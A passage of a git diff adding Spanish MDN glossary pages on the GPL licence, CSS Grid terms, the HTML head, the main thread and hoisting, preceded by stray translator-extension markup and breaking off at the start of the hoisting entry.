+<div id="SL_TB">
+<table id="SL_tables">
+ <tbody><tr>
+  <td class="SL_td"><input></td>
+  <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Afrikáans</option><option value="sq">Albanés</option><option value="de">Alemán</option><option value="ar">Árabe</option><option value="hy">Armenio</option><option value="az">Azerí</option><option value="bn">Bengalí</option><option value="be">Bielorruso</option><option value="my">Birmano</option><option value="bs">Bosnio</option><option value="bg">Búlgaro</option><option value="kn">Canarés</option><option value="ca">Catalán</option><option value="ceb">Cebuano</option><option value="cs">Checo</option><option value="ny">Chichewa</option><option value="zh-CN">Chino (Simp)</option><option value="zh-TW">Chino (Trad)</option><option value="si">Cincalés</option><option value="ko">Coreano</option><option value="ht">Criollo haitiano</option><option value="hr">Croata</option><option value="da">Danés</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Español</option><option value="eo">Esperanto</option><option value="et">Estonio</option><option value="eu">Euskera</option><option value="fi">Finlandés</option><option value="fr">Francés</option><option value="cy">Galés</option><option value="gl">Gallego</option><option value="ka">Georgiano</option><option value="el">Griego</option><option value="gu">Gujarati</option><option value="ha">Hausa</option><option value="iw">Hebreo</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandés</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonesio</option><option value="en">Inglés</option><option value="ga">Irlandés</option><option value="is">Islandés</option><option value="it">Italiano</option><option value="ja">Japonés</option><option value="jw">Javanés</option><option value="km">Jemer</option><option value="kk">Kazajo</option><option value="lo">Lao</option><option value="la">Latín</option><option value="lv">Letón</option><option value="lt">Lituano</option><option value="mk">Macedonio</option><option value="ml">Malayalam</option><option value="ms">Malayo</option><option value="mg">Malgache</option><option value="mt">Maltés</option><option value="mi">Maorí</option><option value="mr">Maratí</option><option value="mn">Mongol</option><option value="ne">Nepalí</option><option value="no">Noruego</option><option value="fa">Persa</option><option value="pl">Polaco</option><option value="pt">Portugués</option><option value="pa">Punjabí</option><option value="ro">Rumano</option><option value="ru">Ruso</option><option value="sr">Serbio</option><option value="st">Sesoto</option><option value="so">Somalí</option><option value="sw">Suajili</option><option value="sv">Sueco</option><option value="su">Sundanés</option><option value="tl">Tagalo</option><option value="th">Tailandés</option><option value="ta">Tamil</option><option value="tg">Tayiko</option><option value="te">Telugu</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeco</option><option value="vi">Vietnamita</option><option value="yi">Yidis</option><option value="yo">Yoruba</option><option value="zu">Zulú</option></select></td>
+  <td class="SL_td">
+   <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0)  repeat scroll 0% 0%;" title="Cambiar idiomas"> </div>
+  </td>
+  <td class="SL_td"><select><option value="af">Afrikáans</option><option value="sq">Albanés</option><option value="de">Alemán</option><option value="ar">Árabe</option><option value="hy">Armenio</option><option value="az">Azerí</option><option value="bn">Bengalí</option><option value="be">Bielorruso</option><option value="my">Birmano</option><option value="bs">Bosnio</option><option value="bg">Búlgaro</option><option value="kn">Canarés</option><option value="ca">Catalán</option><option value="ceb">Cebuano</option><option value="cs">Checo</option><option value="ny">Chichewa</option><option value="zh-CN">Chino (Simp)</option><option value="zh-TW">Chino (Trad)</option><option value="si">Cincalés</option><option value="ko">Coreano</option><option value="ht">Criollo haitiano</option><option value="hr">Croata</option><option value="da">Danés</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option selected value="es">Español</option><option value="eo">Esperanto</option><option value="et">Estonio</option><option value="eu">Euskera</option><option value="fi">Finlandés</option><option value="fr">Francés</option><option value="cy">Galés</option><option value="gl">Gallego</option><option value="ka">Georgiano</option><option value="el">Griego</option><option value="gu">Gujarati</option><option value="ha">Hausa</option><option value="iw">Hebreo</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandés</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonesio</option><option value="en">Inglés</option><option value="ga">Irlandés</option><option value="is">Islandés</option><option value="it">Italiano</option><option value="ja">Japonés</option><option value="jw">Javanés</option><option value="km">Jemer</option><option value="kk">Kazajo</option><option value="lo">Lao</option><option value="la">Latín</option><option value="lv">Letón</option><option value="lt">Lituano</option><option value="mk">Macedonio</option><option value="ml">Malayalam</option><option value="ms">Malayo</option><option value="mg">Malgache</option><option value="mt">Maltés</option><option value="mi">Maorí</option><option value="mr">Maratí</option><option value="mn">Mongol</option><option value="ne">Nepalí</option><option value="no">Noruego</option><option value="fa">Persa</option><option value="pl">Polaco</option><option value="pt">Portugués</option><option value="pa">Punjabí</option><option value="ro">Rumano</option><option value="ru">Ruso</option><option value="sr">Serbio</option><option value="st">Sesoto</option><option value="so">Somalí</option><option value="sw">Suajili</option><option value="sv">Sueco</option><option value="su">Sundanés</option><option value="tl">Tagalo</option><option value="th">Tailandés</option><option value="ta">Tamil</option><option value="tg">Tayiko</option><option value="te">Telugu</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeco</option><option value="vi">Vietnamita</option><option value="yi">Yidis</option><option value="yo">Yoruba</option><option value="zu">Zulú</option></select></td>
+  <td class="SL_td">
+   <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0)  repeat scroll 0% 0%;" title="Еscuchar"> </div>
+  </td>
+  <td class="SL_td">
+   <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0)  repeat scroll 0% 0%;" title="Copiar"> </div>
+  </td>
+  <td class="SL_td">
+   <div id="SL_bbl_font_patch"> </div>
+
+   <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0)  repeat scroll 0% 0%;" title="Тamaño de fuente"> </div>
+  </td>
+  <td class="SL_td">
+   <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0)  repeat scroll 0% 0%;" title="Ayuda"> </div>
+  </td>
+  <td class="SL_td">
+   <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0)  repeat scroll 0% 0%;" title="Fijar la ventana de traducción"> </div>
+  </td>
+ </tr>
+</tbody></table>
+</div>
+</div>
+
+<div id="SL_shadow_translation_result" style=""> </div>
+
+<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0)  repeat scroll 0% 0%;"> </div>
+
+<div id="SL_player2"> </div>
+
+<div id="SL_alert100">La función de sonido está limitada a 200 caracteres</div>
+
+<div id="SL_Balloon_options" style="background: rgb(255, 255, 255)  repeat scroll 0% 0%;">
+<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0)  repeat scroll 0% 0%;"> </div>
+
+<table id="SL_tbl_opt" style="width: 100%;">
+ <tbody><tr>
+  <td><input></td>
+  <td>
+   <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0)  repeat scroll 0% 0%;" title="Mostrar el botón ImTranslator 3 segundos"> </div>
+  </td>
+  <td><a class="SL_options" title="Mostrar opciones">Opciones</a> : <a class="SL_options" title="Historial de traducciones">Historia</a> : <a class="SL_options" title="ImTranslator Feedback">Feedback</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Hacer una contribución">Donate</a></td>
+  <td><span id="SL_Balloon_Close" title="Cerrar">Cerrar</span></td>
+ </tr>
+</tbody></table>
+</div>
+</div>
+</div>
diff --git a/files/es/glossary/gpl/index.html b/files/es/glossary/gpl/index.html
new file mode 100644
index 0000000000..8f35bee2cf
--- /dev/null
+++ b/files/es/glossary/gpl/index.html
@@ -0,0 +1,30 @@
+---
+title: GPL
+slug: Glossary/GPL
+tags:
+  - Compartir
+  - Copyleft
+  - GNU
+  - GPL
+  - Glosario
+  - Libre
+  - Licencia
+  - Open Source
+translation_of: Glossary/GPL
+---
+<p>La lincencia GNU <em>GPL</em> (GNU General Public License en español <strong>Licencia Pública General de GNU</strong>) es una licencia de software libre <a href="/es/docs/Glossary/copyleft">copyleft</a> publicada por la <em>Free Software Foundation</em>. Los usuarios de un programa con licencia GPL son libres para usarlo, acceder al código fuente, modificarlo y distribuir los cambios; <span id="result_box" lang="es"><span>siempre que redistribuyan el programa completo (modificado o no modificado) bajo la misma licencia</span></span>.</p>
+
+<h2 id="Para_saber_más...">Para saber más...</h2>
+
+<h3 id="Cultura_General">Cultura General</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia","GNU_General_Public_License")}} en Wikipedia</li>
+</ul>
+
+<h3 id="Referencia_Técnica">Referencia Técnica</h3>
+
+<ul>
+ <li><a href="https://gnu.org/licenses/gpl.html">GPL License</a></li>
+ <li><a href="http://www.gnu.org/licenses/gpl-faq.html">FAQ</a> de licencias GNU</li>
+</ul>
diff --git a/files/es/glossary/grid/index.html b/files/es/glossary/grid/index.html
new file mode 100644
index 0000000000..b5f55e4d7d
--- /dev/null
+++ b/files/es/glossary/grid/index.html
@@ -0,0 +1,74 @@
+---
+title: Grid
+slug: Glossary/Grid
+tags:
+  - CSS
+  - CSS Grids
+translation_of: Glossary/Grid
+---
+<p><em>CSS grid</em> es definido usando el valor grid en la propiedad <code>display</code>; puedes definir columnas y filas en tu diseño grid, con las propiedades  {{cssxref("grid-template-rows")}} y {{cssxref("grid-template-columns")}} .</p>
+
+<p>El grid que configures usando estas propiedades es definido como la grilla explícita (<em>explicit grid</em>).</p>
+
+<p><span id="result_box" lang="es"><span>Si colocas contenido fuera de esta cuadrícula explícita, o si confías en la ubicación automática y el algoritmo de cuadrícula necesita crear </span></span>{{glossary("grid tracks", "tracks")}} de <span lang="es"><span>filas o columnas adicionales para contener </span></span>{{glossary("grid item", "grid items")}}<span lang="es"><span>, luego se crearán pistas adicionales en la cuadrícula implícita.</span> <span>La <em>cuadrícula implícita</em> es la cuadrícula creada automáticamente debido al contenido que se agrega fuera de las pistas definidas.     </span></span></p>
+
+<p><span id="result_box" lang="es"><span>En el siguiente ejemplo, he creado una <em>grilla explícita</em> de tres columnas y dos filas.</span> <span>La <em>tercera</em> fila en la cuadrícula es una pista de la fila de la <em>grilla implícita</em>, formada debido a que son más de seis los</span></span><span lang="es"><span> elementos que llenan las pistas explícitas.</span></span></p>
+
+<div id="example">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+  grid-template-rows: 100px 100px;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div&gt;One&lt;/div&gt;
+   &lt;div&gt;Two&lt;/div&gt;
+   &lt;div&gt;Three&lt;/div&gt;
+   &lt;div&gt;Four&lt;/div&gt;
+   &lt;div&gt;Five&lt;/div&gt;
+   &lt;div&gt;Six&lt;/div&gt;
+   &lt;div&gt;Seven&lt;/div&gt;
+   &lt;div&gt;Eight&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('example', '500', '330') }}</p>
+
+<h2 id="Aprende_Más">Aprende Más</h2>
+
+<h3 id="Referencia_de_propiedades">Referencia de propiedades</h3>
+
+<ul>
+ <li>{{cssxref("grid-template-columns")}}</li>
+ <li>{{cssxref("grid-template-rows")}}</li>
+ <li>{{cssxref("grid")}}</li>
+ <li>{{cssxref("grid-template")}}</li>
+</ul>
+
+<h3 id="Otras_lecturas"><span class="short_text" id="result_box" lang="es"><span>Otras lecturas</span></span></h3>
+
+<ul>
+ <li>Guía de diseño CSS Grid: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Conceptos Básicos de Grid Layout</a></em></li>
+</ul>
+</div>
diff --git a/files/es/glossary/grid_areas/index.html b/files/es/glossary/grid_areas/index.html
new file mode 100644
index 0000000000..17cc84ef19
--- /dev/null
+++ b/files/es/glossary/grid_areas/index.html
@@ -0,0 +1,78 @@
+---
+title: Grid Areas
+slug: Glossary/Grid_Areas
+translation_of: Glossary/Grid_Areas
+---
+<p>Un <strong>grid area</strong> es una o más {{glossary("grid cell", "grid cells")}} <span id="result_box" lang="es"><span>que forman un área rectangular en la cuadrícula.</span> <span>Los grid areas se crean cuando se coloca un ítem usando </span></span><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">disposición basada en líneas</a><span lang="es"><span> o cuando se definen áreas usando </span></span> <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">grid areas con nombre</a>.</p>
+
+<p><img alt="Image showing a highlighted grid area" src="https://mdn.mozillademos.org/files/14771/1_Grid_Area.png" style="height: 253px; width: 380px;"></p>
+
+<p><span id="result_box" lang="es"><span>Las Grid areas <em>deben</em> ser de naturaleza rectangular;</span> <span>no es posible crear, por ejemplo, un </span></span>grid area<span lang="es"><span> en forma de T o L.</span></span></p>
+
+<p><span id="result_box" lang="es"><span>En el siguiente ejemplo, tengo un contenedor de cuadrícula con dos ítems.</span> <span>Los he nombrado con la propiedad {{cssxref ("grid-area")}} y luego los he distribuido en la cuadrícula usando {{cssxref ("grid-template-areas")}}.</span> <span>Esto crea dos áreas de cuadrícula, una que cubre cuatro celdas de la cuadrícula, la otra dos.</span></span></p>
+
+<div id="example_1">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3,1fr);
+  grid-template-rows: 100px 100px;
+  grid-template-areas:
+    "a a b"
+    "a a b";
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div class="item1"&gt;Item&lt;/div&gt;
+   &lt;div class="item2"&gt;Item&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('example_1', '300', '280') }}</p>
+</div>
+
+<h2 id="Aprenda_más">Aprenda más</h2>
+
+<h3 id="Referencia_de_propiedad">Referencia de propiedad</h3>
+
+<ul>
+ <li>{{cssxref("grid-template-columns")}}</li>
+ <li>{{cssxref("grid-template-rows")}}</li>
+ <li>{{cssxref("grid-auto-rows")}}</li>
+ <li>{{cssxref("grid-auto-columns")}}</li>
+ <li>{{cssxref("grid-template-areas")}}</li>
+ <li>{{cssxref("grid-area")}}</li>
+</ul>
+
+<h3 id="Otras_lecturas">Otras lecturas</h3>
+
+<ul>
+ <li>CSS Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basic concepts of grid layout</a></em></li>
+ <li>CSS Grid Layout Guide: <em><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></em></li>
+ <li><a href="https://drafts.csswg.org/css-grid/#grid-area-concept">Definition of Grid Areas in the CSS Grid Layout specification</a></li>
+</ul>
diff --git a/files/es/glossary/grid_column/index.html b/files/es/glossary/grid_column/index.html
new file mode 100644
index 0000000000..a3d2c208b0
--- /dev/null
+++ b/files/es/glossary/grid_column/index.html
@@ -0,0 +1,27 @@
+---
+title: Grid Column
+slug: Glossary/Grid_Column
+translation_of: Glossary/Grid_Column
+---
+<p>Una <strong>columna de grid</strong> es una pista vertical en un <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a>, y es el espacio entre dos líneas verticales de cuadrícula. Está definido por la propiedad {{cssxref("grid-template-columns")}} o por las propiedades abreviadas {{cssxref("grid")}} o {{cssxref("grid-template")}}.</p>
+
+<p>Además, se pueden crear columnas en la <em>cuadrícula implícita</em> cuando los elementos se colocan fuera de las columnas creadas en la <em>cuadrícula explícita</em>. Estas columnas serán de tamaño automático por defecto, o pueden tener un tamaño especificado con la propiedad {{cssxref("grid-auto-columns")}}.</p>
+
+<p>Cuando se utiliza la alineación en <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a>, el eje sobre el que corren las columnas es conocido como el eje del bloque o de la columna.</p>
+
+<h2 id="Aprende_Más">Aprende Más</h2>
+
+<h3 id="Propiedades_de_referencia">Propiedades de referencia</h3>
+
+<ul>
+ <li>{{cssxref("grid-template-columns")}}</li>
+ <li>{{cssxref("grid-auto-columns")}}</li>
+ <li>{{cssxref("grid")}}</li>
+ <li>{{cssxref("grid-template")}}</li>
+</ul>
+
+<h3 id="Otras_lecturas">Otras lecturas</h3>
+
+<ul>
+ <li>Guía de diseño CSS Grid: <em>Conceptos básicos de diseño de cuadrículas (Grid).</em></li>
+</ul>
diff --git a/files/es/glossary/grid_lines/index.html b/files/es/glossary/grid_lines/index.html
new file mode 100644
index 0000000000..f908009fb3
--- /dev/null
+++ b/files/es/glossary/grid_lines/index.html
@@ -0,0 +1,176 @@
+---
+title: Lineas de Cuadricula
+slug: Glossary/Grid_Lines
+translation_of: Glossary/Grid_Lines
+---
+<p>Las<strong> Lineas de Cuadricula </strong>se crean cuando defines las {{glossary("tracks", "Pistas de Cuadricula")}} esto sucede dentro de un contenedor que este usando <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a>.<br>
+ En el siguiente ejemplo hay una cuadricula con tres pistas de columna y dos pistas de filas. Esto nos da <strong>4 Lineas de Columnas</strong> y <strong>3 Lineas de Fila</strong>.</p>
+
+<div id="example_1">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+     display: grid;
+     grid-template-columns: repeat(3, 1fr);
+     grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div&gt;One&lt;/div&gt;
+   &lt;div&gt;Two&lt;/div&gt;
+   &lt;div&gt;Three&lt;/div&gt;
+   &lt;div&gt;Four&lt;/div&gt;
+   &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: 100px 100px;
+}
+</pre>
+
+<p>Podemos referenciar a <strong>Las Lineas</strong> de nuestra plantilla usando su numero de linea. De manera izquierda-a-derecha y de arriba-a-abajo; la linea 1 de la columna 1 estará en la izquierda de la cuadricula, la linea 1 de la fila 1 estara al inicio de la cuadricula. Los numeros de lineas siguen el tipo de "<a href="/en-US/docs/Web/CSS/CSS_Writing_Modes">writing mode</a>" de el documento, por ejemplo, si es de derecha-a-izquierda, la columna 1 estara a la derecha de la cuadricula. La imagen de abajo muestra, en fondo gris los numeros de linea, asumiendo que el "modo de escritura" es de izquierda-a-derecha.</p>
+
+<p><img alt="Diagram showing the grid with lines numbered." src="https://mdn.mozillademos.org/files/14763/1_diagram_numbered_grid_lines.png" style="height: 456px; width: 764px;"></p>
+</div>
+
+<p>Las líneas también se crean en la cuadrícula <em>implícita </em>cuando se crean pistas implícitas para mantener el contenido posicionado fuera de la <em>cuadrícula explícita</em>, sin embargo, estas líneas no se pueden abordar mediante un número.</p>
+
+<h2 id="Ubicar_elementos_en_la_cuadrícula_usando_el_número_de_línea">Ubicar elementos en la cuadrícula usando el número de línea</h2>
+
+<p>Al crear una cuadricula usted puede ubicar los elementos dentro de ésta, usando los numeros de lineas.</p>
+
+<p>En el siguiente ejemplo, el elemento esta posicionado desde la linea de columna 1 hasta la linea de columna 3 y desde la linea de fila 1 hasta la linea de fila 3.</p>
+
+<div id="example_2">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+     display: grid;
+     grid-template-columns: repeat(3, 1fr);
+     grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div class="item"&gt;Item&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: 100px 100px;
+}
+.item {
+  grid-column-start: 1;
+  grid-column-end: 3;
+  grid-row-start: 1;
+  grid-row-end: 3;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('example_2', '500', '250') }}</p>
+</div>
+
+<h2 id="Nombrando_las_lineas">Nombrando las lineas</h2>
+
+<p>Las lineas creadas <em>en la cuadricula explicita</em>, pueden ser nombradas, asignándoles un nombre dentro de corchetes antes ó después de la información del tamaño de pistas. Asi podemos utlizar estos nombres como referencia para cada línea en vez de utilizar los numeros de linea.</p>
+
+<div id="example_3">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+     display: grid;
+     grid-template-columns: repeat(3, 1fr);
+     grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div class="item"&gt;Item&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: [col1-start] 1fr [col2-start] 1fr [col3-start] 1fr [cols-end];
+  grid-template-rows: [row1-start] 100px [row2-start] 100px [rows-end];
+}
+.item {
+  grid-column-start: col1-start;
+  grid-column-end: col3-start;
+  grid-row-start: row1-start;
+  grid-row-end: rows-end;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('example_3', '500', '250') }}</p>
+</div>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="Property_reference">Property reference</h3>
+
+<ul>
+ <li>{{cssxref("grid-template-columns")}}</li>
+ <li>{{cssxref("grid-template-rows")}}</li>
+ <li>{{cssxref("grid-column-start")}}</li>
+ <li>{{cssxref("grid-column-end")}}</li>
+ <li>{{cssxref("grid-column")}}</li>
+ <li>{{cssxref("grid-row-start")}}</li>
+ <li>{{cssxref("grid-row-end")}}</li>
+ <li>{{cssxref("grid-row")}}</li>
+</ul>
+
+<h3 id="Further_reading">Further reading</h3>
+
+<ul>
+ <li>CSS Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basic concepts of grid layout</a></em></li>
+ <li>CSS Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement with CSS Grid</a></em></li>
+ <li>CSS Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></em></li>
+ <li>CSS Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">CSS Grids, Logical Values and Writing Modes</a></em></li>
+ <li><a href="https://drafts.csswg.org/css-grid/#grid-line-concept">Definition of Grid Lines in the CSS Grid Layout specification</a></li>
+</ul>
diff --git a/files/es/glossary/grid_rows/index.html b/files/es/glossary/grid_rows/index.html
new file mode 100644
index 0000000000..c880d9871b
--- /dev/null
+++ b/files/es/glossary/grid_rows/index.html
@@ -0,0 +1,27 @@
+---
+title: Grid Row
+slug: Glossary/Grid_Rows
+translation_of: Glossary/Grid_Rows
+---
+<p>Una <strong>grid row</strong> es una pista horizontal en un <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a>, es el espacio entre dos líneas de cuadrícula horizontales. Se define por la propiedad {{cssxref("grid-template-rows")}} o con la propiedad shorthand {{cssxref("grid")}} o {{cssxref("grid-template")}}.</p>
+
+<p>Además, se pueden crear filas en la <em>cuadrícula implícita</em> cuando los elementos se colocan fuera de las filas creadas en la <em>cuadrícula explícita</em>. Estas filas serán de tamaño automático por defecto, o pueden tener un tamaño especificado con la propiedad {{cssxref("grid-auto-rows")}}.</p>
+
+<p>Cuando se trabaja con alineación en <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a>, el eje por el que se ejecutan las filas se conoce como <em>eje en línea</em>, o <em>fila</em>.</p>
+
+<h2 id="Learn_More">Learn More</h2>
+
+<h3 id="Property_reference">Property reference</h3>
+
+<ul>
+ <li>{{cssxref("grid-template-rows")}}</li>
+ <li>{{cssxref("grid-auto-rows")}}</li>
+ <li>{{cssxref("grid")}}</li>
+ <li>{{cssxref("grid-template")}}</li>
+</ul>
+
+<h3 id="Further_reading">Further reading</h3>
+
+<ul>
+ <li>CSS Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basic concepts of grid layout</a></em></li>
+</ul>
diff --git a/files/es/glossary/head/index.html b/files/es/glossary/head/index.html
new file mode 100644
index 0000000000..0159a57cff
--- /dev/null
+++ b/files/es/glossary/head/index.html
@@ -0,0 +1,20 @@
+---
+title: Head
+slug: Glossary/Head
+tags:
+  - Glosario
+  - HTML
+  - Metadatos
+  - head
+translation_of: Glossary/Head
+---
+<p>La cabecera (en inglés <em>Head</em>) es la parte de un documento <a href="/es/docs/Glossary/Head">HTML</a> que contiene <a href="/es/docs/Glossary/Metadato">metadatos</a> sobre ese documento, como el autor, la descripción y los enlaces a los archivos <a href="/es/docs/Glossary/CSS">CSS</a> o <a href="/es/docs/Glossary/JavaScript">JavaScript</a> que se deben aplicar al documento HTML. Es la parte del documento web que no es visible al usuario.</p>
+
+<h2 id="Aprenda_más">Aprenda más</h2>
+
+<h3 id="Elemento_head_de_HTML">Elemento head de HTML</h3>
+
+<ul>
+ <li>Rreferencia al elemento <a href="/es/docs/Web/HTML/Elemento/head">&lt;head&gt;</a> en MDN</li>
+ <li><a href="/es/docs/Learn/HTML/Introduccion_a_HTML/Metados_en">El elemento &lt;head&gt; de HTML</a> en la zona de aprendizaje de MDN</li>
+</ul>
diff --git a/files/es/glossary/hilo_principal/index.html b/files/es/glossary/hilo_principal/index.html
new file mode 100644
index 0000000000..47cef4e428
--- /dev/null
+++ b/files/es/glossary/hilo_principal/index.html
@@ -0,0 +1,30 @@
+---
+title: Hilo principal
+slug: Glossary/Hilo_principal
+tags:
+  - Actualización Web
+  - Glosario
+  - Referencia
+  - Web de rendimiento
+translation_of: Glossary/Main_thread
+---
+<p>El hilo principal es donde un navegador procesa eventos y pinturas del usuario. De manera predeterminada, el navegador usa un solo hilo para ejecutar todo el JavaScript en su página, así como para realizar el diseño, los reflujos y la recolección de basura. Esto significa que las funciones de JavaScript de larga duración pueden bloquear el hilo, lo que lleva a una página que no responde y a una mala experiencia del usuario.</p>
+
+<p>A menos que use intencionalmente un trabajador web, como un trabajador de servicio, JavaScript se ejecuta en el hilo principal, por lo que es fácil que un script provoque retrasos en el procesamiento o la pintura de eventos. Cuanto menos trabajo se requiera del hilo principal, más puede responder ese hilo a los eventos del usuario, pintar y, en general, responder al usuario.</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li>See also
+  <ol>
+   <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous">Asynchronous JavaScript</a></li>
+   <li><a href="/en-US/docs/Web/API/Web_Workers_API">Web worker API</a></li>
+   <li><a href="/en-US/docs/Web/API/Service_Worker_API">Service worker API</a></li>
+  </ol>
+ </li>
+ <li><a href="/en-US/docs/Glossary">Glossary</a>
+  <ol>
+   <li>{{Glossary("Thread")}}</li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/es/glossary/hoisting/index.html b/files/es/glossary/hoisting/index.html
new file mode 100644
index 0000000000..7331a4b59c
--- /dev/null
+++ b/files/es/glossary/hoisting/index.html
@@ -0,0 +1,93 @@
+---
+title: Hoisting
+slug: Glossary/Hoisting
+tags:
+  - JavaScript
+  - hoisting
+translation_of: Glossary/Hoisting
+---
+<p>Hoisting es un término que <em>no</em> encontrará utilizado en ninguna especificación previa a <a href="http://www.ecma-international.org/ecma-262/6.0/index.html">ECMAScript® 2015 Language Specification</a>. El concepto de Hoisting fue pensado como una manera general de referirse a cómo funcionan los contextos de ejecución en JavaScript (específicamente las fases de creación y ejecución). Sin embargo, el concepto puede ser un poco confuso al principio.</p>
+
+<p>Conceptualmente, por ejemplo, una estricta definición de hoisting sugiere que las declaraciones de variables y funciones son físicamente movidas al comienzo del código, pero esto no es lo que ocurre en realidad. Lo que sucede es que las declaraciones de variables y funciones son <strong>asignadas en memoria</strong> durante la fase de <u>compilación,</u> pero quedan exactamente en dónde las has escrito en el código.</p>
+
+<h2 id="Aprenda_más">Aprenda más</h2>
+
+<h3 id="Ejemplo_técnico">Ejemplo técnico</h3>
+
